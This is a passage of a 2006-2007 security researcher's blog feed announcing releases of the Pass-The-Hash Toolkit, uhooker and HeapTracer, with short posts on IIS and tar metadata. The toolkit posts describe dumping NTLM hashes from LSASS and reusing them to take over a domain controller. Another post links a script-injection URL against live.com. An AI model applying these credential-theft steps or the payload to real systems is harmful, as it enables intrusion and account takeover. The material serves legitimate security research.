src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-6201164813598078551</id><published>2007-09-05T17:05:00.000-03:00</published><updated>2007-09-05T17:08:05.243-03:00</updated><title type='text'>New Pass-The-Hash info web page</title><content type='html'>I just added some more info about Pass-The-Hash here:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/doc/index.html"&gt;http://oss.coresecurity.com/pshtoolkit/doc/index.html&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;It includes scenarios, workarounds, possible issues etc.&lt;br /&gt;I'll be adding more info from time to time, so check it out periodically if you are interested in the tool.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-6201164813598078551?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/6201164813598078551/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=6201164813598078551&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6201164813598078551'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6201164813598078551'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/09/new-pass-hash-info-web-page.html' title='New Pass-The-Hash info web page'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-6794901782386281066</id><published>2007-09-04T14:57:00.000-03:00</published><updated>2007-09-04T15:06:27.167-03:00</updated><title type='text'>Pass-The-Hash Toolkit v1.1 Released</title><content type='html'>I just released Pass-The-Hash Toolkit v1.1. This release has support for more targets, including german/french versions of Windows XP SP2, and also Windows Server 2003. I added a -B switch that tells IAM.EXE and WHOSTHERE.EXE to look for the necessary memory addresses in runtime using some 'heuristics', this should also make it work on more targets.&lt;br /&gt;&lt;br /&gt;I expect people to continue having issues on some platforms because the things the tool does are dependant on certain memory areas that vary from OS version to OS version, so, if you have issues, please let me know, most of the time is very easy to add support for your platform to the tool.&lt;br /&gt;&lt;br /&gt;The source code is available &lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.1/pshtoolkit_src_v1.1.tgz"&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;The binaries are available &lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.1/pshtoolkit_v1.1.tgz"&gt;here&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;WHATSNEW:&lt;br /&gt;&lt;br /&gt;-Improved support for windows xpsp2 german/french, windows 2003 sp1/sp2, both for&lt;br /&gt;IAM.EXE and WHOSTHERE.EXE&lt;br /&gt;-Added to IAM.EXE and WHOSTHERE.EXE the -B switch. If IAM.EXE or WHOSTHERE.EXE is&lt;br /&gt;not working in your configuration, please run the tools again specifying -B at the end.&lt;br /&gt;The -B option will try to find, using 'heuristics', the addresses the tools need&lt;br /&gt;to do what they do. If you are still having issues, please let me know, I expect people&lt;br /&gt;to have issues because the addresses vary from OS version to OS version.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Note for Windows Server 2003 users:&lt;br /&gt;&lt;br /&gt;-if you run IAM.EXE and it ends as expected, as If it had worked, but then you run&lt;br /&gt;WHOSTHERE.EXE and the credentials did not change, do the following:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-start a cmd.exe using runas, for example:&lt;br /&gt;&lt;br /&gt;            runas /user:administrator cmd.exe&lt;br /&gt;&lt;br /&gt;-and in the new console run IAM.EXE, and then WHOSTHERE.EXE to verify. And now&lt;br /&gt;it should work.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;It seems that sometimes you need a new session different than the interactive&lt;br /&gt;session for LSASS.EXE to accept the modifications to the credentials in memory. If&lt;br /&gt;you are logging to the machine remotely using psexec/Remote Desktop etc this does&lt;br /&gt;not to occur (at least, this is what I observed), I had troubles like this when&lt;br /&gt;logging interactively to the server. Also after you run 'runas', running IAM.EXE&lt;br /&gt;in a regular CMD.EXE shell will start working. Don't take any of this as&lt;br /&gt;a precise explanation of what's going on, this is just what I observed and a way&lt;br /&gt;to work around it. I'll analyze what's really going on in the future..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-6794901782386281066?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/6794901782386281066/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=6794901782386281066&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6794901782386281066'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/6794901782386281066'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/09/pass-hash-toolkit-v11-released.html' title='Pass-The-Hash Toolkit v1.1 Released'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-4025771211610220092</id><published>2007-08-24T23:03:00.000-03:00</published><updated>2007-08-24T23:10:36.170-03:00</updated><title type='text'>Did you know?: tar files contain your username and group name?</title><content type='html'>Well, yes, that's right! take a look at the tar file format &lt;a href="http://en.wikipedia.org/wiki/Tar_(file_format)"&gt;here&lt;/a&gt;, specifically at the 'USTAR format':&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_sUXOjNfwj9k/Rs-OjMmeT-I/AAAAAAAAAAc/3cneoDcJohg/s1600-h/USTARformat.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_sUXOjNfwj9k/Rs-OjMmeT-I/AAAAAAAAAAc/3cneoDcJohg/s320/USTARformat.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5102453638163222498" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So at +265 you have the 'Owner user name' and at +297 'Owner group name'.&lt;br /&gt;let's try it:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_sUXOjNfwj9k/Rs-PgMmeUBI/AAAAAAAAAA0/mS_0nwRof30/s1600-h/tarscr1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_sUXOjNfwj9k/Rs-PgMmeUBI/AAAAAAAAAA0/mS_0nwRof30/s400/tarscr1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5102454686135242770" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;yes, 'hernan' , that's me, 'wheel', yes, that's the group name.&lt;br /&gt;Now go to google and do some 'filetype:tar'/'filetype:tgz'  etc. searches&lt;br /&gt;and have fun!. :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-4025771211610220092?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/4025771211610220092/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=4025771211610220092&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4025771211610220092'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/4025771211610220092'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/08/did-you-know-tar-files-contain-your.html' title='Did you know?: tar files contain your username and group name?'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_sUXOjNfwj9k/Rs-OjMmeT-I/AAAAAAAAAAc/3cneoDcJohg/s72-c/USTARformat.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-2855001708288329733</id><published>2007-08-17T16:44:00.000-03:00</published><updated>2007-08-17T17:38:55.156-03:00</updated><title type='text'>Pass-The-Hash Toolkit and LSASRV.DLL</title><content type='html'>One quick note: IAM.EXE reads at specific locations of LSASRV.DLL's address space to obtain data necessary to encrypt the credentials before changing them and other stuff. For that reason, IAM.EXE has specific code that checks for the LSASRV.DLL version present on the system where it is run, and if it does not match with the ones I know, the program exits. &lt;br /&gt;&lt;br /&gt;The idea behind this is to avoid situations where you would run the tool in a system that doesn't have the correct LSASRV.DLL version most likely crashing the LSASS.EXE process and having to reboot your machine. not good :). &lt;br /&gt;&lt;br /&gt;So, if you run IAM.EXE and get something like this:&lt;br /&gt;&lt;br /&gt;Checking LSASRV.DLL....Unknown LSASRV.DLL.&lt;br /&gt;LSASRV.DLL: 00050001h. A280884h&lt;br /&gt;&lt;br /&gt;It means I don't know about your DLL version. Please send me an email with the version number you have and I'll do my best to get a hold of a copy of that exact DLL version to solve the issue. (when you are at it, also send me the text representation   of the DLL version just in case , just rigth-click the DLL, properties-&gt;Version-&gt;File&lt;br /&gt;Version, and also the language of your windows installation, etc.)&lt;br /&gt;&lt;br /&gt;I'll try to come up with a generic solution for this, but since the tool is mostly intended to be run on your own machine and not to be used to compromise a machine or whatever, I didn't think it would matter much to make it generic. This should not be difficult to implement.&lt;br /&gt;&lt;br /&gt;On the other hand, WHOSTHERE.EXE does not have such checks because it only reads memory, so when it fails, you only get invalid output; the worst thing that can happen is WHOSTHERE.EXE itself crashing.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-2855001708288329733?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/2855001708288329733/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=2855001708288329733&amp;isPopup=true' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2855001708288329733'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/2855001708288329733'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/08/pass-hash-toolkit-and-lsasrvdll.html' title='Pass-The-Hash Toolkit and LSASRV.DLL'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-3497717919977711389</id><published>2007-08-15T21:13:00.000-03:00</published><updated>2007-08-16T21:20:09.540-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Release of Pass-The-Hash Toolkit v1.0 for Windows</title><content type='html'>Ok, so today I'm releasing a tool whose origins go back to 2000, but here it is now, I hope you find it useful, interesting or at least amusing :), any feedback is welcome!!.&lt;br /&gt;&lt;br /&gt;I'm releasing Pass-The-Hash Toolkit v1.0, you can find it here:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/projects/pshtoolkit.htm"&gt;http://oss.coresecurity.com/projects/pshtoolkit.htm&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;source code:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.0/pshtoolkit_src_v1.0.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.0/pshtoolkit_src_v1.0.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;binaries:&lt;br /&gt;&lt;a href="http://oss.coresecurity.com/pshtoolkit/release/1.0/pshtoolkit_v1.0.tgz"&gt;http://oss.coresecurity.com/pshtoolkit/release/1.0/pshtoolkit_v1.0.tgz&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;For those of you that do not want to read the detailed description :),&lt;br /&gt;in a nutshell, it is pass-the-hash for windows (iam.exe), for example:&lt;br /&gt;&lt;br /&gt;               iam.exe administrator mydomain 0102030405060708090A0B0C0D0E0F10&lt;br /&gt;0102030405060708090A0B0C0D0E0F10&lt;br /&gt;&lt;br /&gt;After running the program, outbound network connections that use NTLM&lt;br /&gt;authentication will use the new credentials. And a tool&lt;br /&gt;(whosthere.exe) to list currently logged on users and their NTLM&lt;br /&gt;credentials by reading LSASS.EXE's internal structures (see the 'long&lt;br /&gt;description' for use cases).&lt;br /&gt;&lt;br /&gt;And now the long description:&lt;br /&gt;&lt;br /&gt;The Pass-The-Hash Toolkit contains utilities to manipulate the Windows&lt;br /&gt;Logon Sessions mantained by the LSA (Local Security Authority)&lt;br /&gt;component. These tools allow you to list the current logon sessions&lt;br /&gt;with its corresponding NTLM credentials (e.g.: users remotely logged&lt;br /&gt;in thru Remote Desktop/Terminal Services), and also change in runtime&lt;br /&gt;the current username, domain name, and NTLM hashes (YES, PASS-THE-HASH&lt;br /&gt;on Windows!).&lt;br /&gt;&lt;br /&gt;Utilities in the toolkit:&lt;br /&gt;&lt;br /&gt;   * IAM.EXE: Pass-The-Hash for Windows. This tool allows you to&lt;br /&gt;change your current NTLM credentials withouth having the cleartext&lt;br /&gt;password but the hashes of the password. The program receives a&lt;br /&gt;username, domain name and the LM and NT hashes of the password; using&lt;br /&gt;this it will change in memory the NTLM credentials associated with the&lt;br /&gt;current windows logon session. After the program performs this&lt;br /&gt;operation, all outbound network connections to services that use for&lt;br /&gt;authentication the NTLM credentials of the currently logged on user&lt;br /&gt;will utilize the credentials modified by IAM.EXE. This includes 'net&lt;br /&gt;use', 'net view', many third-party DCOM services that use NTLM&lt;br /&gt;authentication, etc. This is basically 'pass-the-hash' for windows;&lt;br /&gt;one of the main advantages is that you don't need to use a modified&lt;br /&gt;version of samba or samba-tng and be restricted to the limited&lt;br /&gt;functionality they implement, you can now use windows and any&lt;br /&gt;third-party software with stolen hashes withouth having to obtain the&lt;br /&gt;cleartext version of a password. For more information take a look at&lt;br /&gt;this paper I wrote back in 2000 Modifying Windows NT Logon Credentials&lt;br /&gt;(http://www.coresecurity.com/index.php5?module=ContentMod&amp;action=item&amp;id=1030).&lt;br /&gt;&lt;br /&gt;   * WHOSTHERE.EXE: This tool will list the current logon sessions&lt;br /&gt;with NTLM credentials (username,domain name, LM and NT hashes). Logon&lt;br /&gt;sessions are created by windows services that log in using specific&lt;br /&gt;users, remote desktop connections, etc. This tool has many uses, one&lt;br /&gt;that i think is interesting: Let's say you compromised a Windows&lt;br /&gt;Server that is part of a Windows Domain (e.g.: Backup server) but is&lt;br /&gt;NOT the domain controller. Since it is not the domain controller, you&lt;br /&gt;only have access to the local SAM and although you did effectively&lt;br /&gt;comprise a sensitive server you did not compromise the domain.&lt;br /&gt;However, it is very common in such situations to find that&lt;br /&gt;administrators are using Remote Desktop to connect to the compromised&lt;br /&gt;server to perform different tasks. So this is your chance, just wait&lt;br /&gt;for the administrator to log into the compromised server using remote&lt;br /&gt;desktop, at that point, run 'WHOSTHERE.EXE' and you will observe the&lt;br /&gt;administrators username,domain name, and NTLM hashes. Now go to your&lt;br /&gt;machine, use them with IAM.EXE and compromise the domain controller&lt;br /&gt;using the administrator's credentials.&lt;br /&gt;&lt;br /&gt;   * GENHASH.EXE: This is a small utility that generates LM and NT&lt;br /&gt;hashes using some 'undocumented' functions of the Windows API. This is&lt;br /&gt;a small tool to aid testing of IAM.EXE.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-3497717919977711389?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/3497717919977711389/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=3497717919977711389&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3497717919977711389'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/3497717919977711389'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/08/release-of-pass-hash-toolkit-v10-for.html' title='Release of Pass-The-Hash Toolkit v1.0 for Windows'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-343067607976429675</id><published>2007-07-27T18:35:00.001-03:00</published><updated>2007-07-27T18:50:52.494-03:00</updated><title type='text'>Bind IIS to an IP address</title><content type='html'>Let's say you want IIS 5.0 not to bind to 0.0.0.0 and want it to bind to a specific IP address. You can go to Administrative Tools-&gt;Internet Information Services, and then to "server name"-&gt;Web sites-&gt;Default Web site, right-click, properties, go to the 'Web Site' tab, and in 'Web Site Identification' put the IP address you want IIS to bind to or click the 'Advanced' button to select more than one IP.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_sUXOjNfwj9k/RqpoesPlLTI/AAAAAAAAAAU/np2p7C7g80Y/s1600-h/iis5_bind_ip.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;" src="http://bp3.blogger.com/_sUXOjNfwj9k/RqpoesPlLTI/AAAAAAAAAAU/np2p7C7g80Y/s200/iis5_bind_ip.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5091997205177642290" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;And you are all set... well... you are not :). IIS implements something called 'Socket Pooling' and if you have this enabled it basically makes IIS bind to all available IP addresses. So even when you go to the GUI and change the IP you want IIS to bind to, IT DOESN'T WORK.  In order to make it work, you need to disable 'Socket Pooling', and you can do so with the following command:&lt;br /&gt;&lt;br /&gt;script adsutil.vbs set w3svc/disablesocketpooling true&lt;br /&gt;&lt;br /&gt;I just thought this was amusing and decided to make a post :). Something similar occurs with IIS 6.0 but I have not tried it yet. You can get more information here:&lt;br /&gt;&lt;br /&gt;IIS 5.0:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q259/3/49.ASP&amp;NoWebContent=1 "&gt;IIS Binds to All Available IP Addresses When It Starts&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://support.microsoft.com/default.aspx?scid=http://support.microsoft.com:80/support/kb/articles/Q238/1/31.ASP&amp;NoWebContent=1 "&gt;How to Disable Socket Pooling&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;IIS 6.0:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B813368"&gt;IIS 6.0: Setting Metabase Property DisableSocketPooling Has No Effect&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-343067607976429675?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/343067607976429675/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=343067607976429675&amp;isPopup=true' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/343067607976429675'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/343067607976429675'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/07/bind-iis-to-ip-address.html' title='Bind IIS to an IP address'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp3.blogger.com/_sUXOjNfwj9k/RqpoesPlLTI/AAAAAAAAAAU/np2p7C7g80Y/s72-c/iis5_bind_ip.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-5710810055604094224</id><published>2007-07-26T11:54:00.000-03:00</published><updated>2007-08-16T21:20:29.651-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Gera releases HeapDraw / HeapTracer</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://oss.coresecurity.com/projects/heapdraw/ping.HD.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px;" src="http://oss.coresecurity.com/projects/heapdraw/ping.HD.jpg" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Check out Gera's new tool!:&lt;br /&gt;&lt;br /&gt;"HeapDraw was originally created as a postmortem analisys tool, to see how the heap evolved during the life of a process. The idea is that although we may be used to textual output, like that of ltrace or a malloc/free hooking library, it's much better to see it graphically (in fact I used to make drawings by hand until I realized "WTF am I doing? I have a computer to do it for me!").&lt;br /&gt;HeapTracer is the new name, after it became a runtime analisys tool."&lt;br /&gt;&lt;br /&gt;You can find it &lt;a href="http://oss.coresecurity.com/projects/heapdraw/"&gt;here&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-5710810055604094224?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/5710810055604094224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=5710810055604094224&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5710810055604094224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/5710810055604094224'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2007/07/gera-releases-heapdraw-heaptracer.html' title='Gera releases HeapDraw / HeapTracer'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-116465047898035687</id><published>2006-11-27T14:59:00.000-03:00</published><updated>2007-08-16T21:20:49.080-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>www.live.com default error message</title><content type='html'>OK, this is just funny, I guess microsoft was in a hurry to release the www.live.com search engine and didn't have time to come up with a nice error page; although they seemed to spend months to create a 'chan' windows sound..&lt;br /&gt;&lt;br /&gt;&lt;img src="file:///C:/DOCUME%7E1/kitano/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;&lt;pre wrap=""&gt;&lt;a class="moz-txt-link-freetext" href="http://www.live.com/?q=%3Cscript%3Ealert()%3C/script%3E&amp;FORM=DWRE&amp;amp;mkt=en-us&amp;amp;scope=web"&gt;click&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-116465047898035687?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/116465047898035687/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=116465047898035687&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/116465047898035687'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/116465047898035687'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2006/11/wwwlivecom-default-error-message.html' title='www.live.com default error message'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-115945819619109634</id><published>2006-09-28T12:39:00.000-03:00</published><updated>2007-08-16T21:21:13.375-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>uhooker v1.2 is out!</title><content type='html'>I released uhooker v1.2. some bug fixes, structural changes and new functionality.&lt;br /&gt;you can download it from&lt;br /&gt;or directly from http://oss.coresecurity.com/uhooker/release/1.2/uhooker_v1.2.tgz (tgz)&lt;br /&gt;or http://oss.coresecurity.com/uhooker/release/1.2/uhooker_v1.2.zip (zip)&lt;br /&gt;checkout the doc pages because Im constantly posting new stuff like sample scripts, etc.;&lt;br /&gt;and also in this version there's a minor modification you'll have to make to your&lt;br /&gt;existing scripts to make them work with version 1.2&lt;br /&gt;http://oss.coresecurity.com/uhooker/doc/index.html&lt;br /&gt;See http://oss.coresecurity.com/uhooker/release/1.2/WHATSNEW_1.2.txt for&lt;br /&gt;a complete list of changes.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-115945819619109634?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/115945819619109634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=115945819619109634&amp;isPopup=true' title='4 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/115945819619109634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/115945819619109634'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2006/09/uhooker-v12-is-out.html' title='uhooker v1.2 is out!'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-115176228022872029</id><published>2006-07-01T10:55:00.000-03:00</published><updated>2007-08-16T21:21:45.593-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Uhooker v1.1 is out!</title><content type='html'>ok, I uploaded uhooker v1.1. some bug fixes and new functionality.&lt;br /&gt;you can download it from  http://oss.coresecurity.com/projects/uhooker.htm&lt;br /&gt;or directly from http://oss.coresecurity.com/uhooker/release/1.1/uhooker_v1.1.zip.&lt;br /&gt;checkout the doc pages because Im constantly posting new stuff, sample scripts, etc.&lt;br /&gt;http://oss.coresecurity.com/uhooker/doc/index.html&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18555569-115176228022872029?l=hexale.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hexale.blogspot.com/feeds/115176228022872029/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18555569&amp;postID=115176228022872029&amp;isPopup=true' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/115176228022872029'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18555569/posts/default/115176228022872029'/><link rel='alternate' type='text/html' href='http://hexale.blogspot.com/2006/07/uhooker-v11-is-out.html' title='Uhooker v1.1 is out!'/><author><name>hernan</name><uri>http://www.blogger.com/profile/12754761735106237455</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18555569.post-115109305907565094</id><published>2006-06-23T16:56:00.000-03:00</published><updated>2007-08-16T21:22:09.856-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><title type='text'>Release of the Universal Hooker</title><content type='html'>Ok, I'm relasing the 'universal hooker', A tool I wrote and have being using for a couple of years now. I have many versions/implementations of the same idea, but the one I'm releasing now works as an OLLYDBG plugin.&lt;br /&gt;&lt;br /&gt;You can get more information about 'uhooker' in 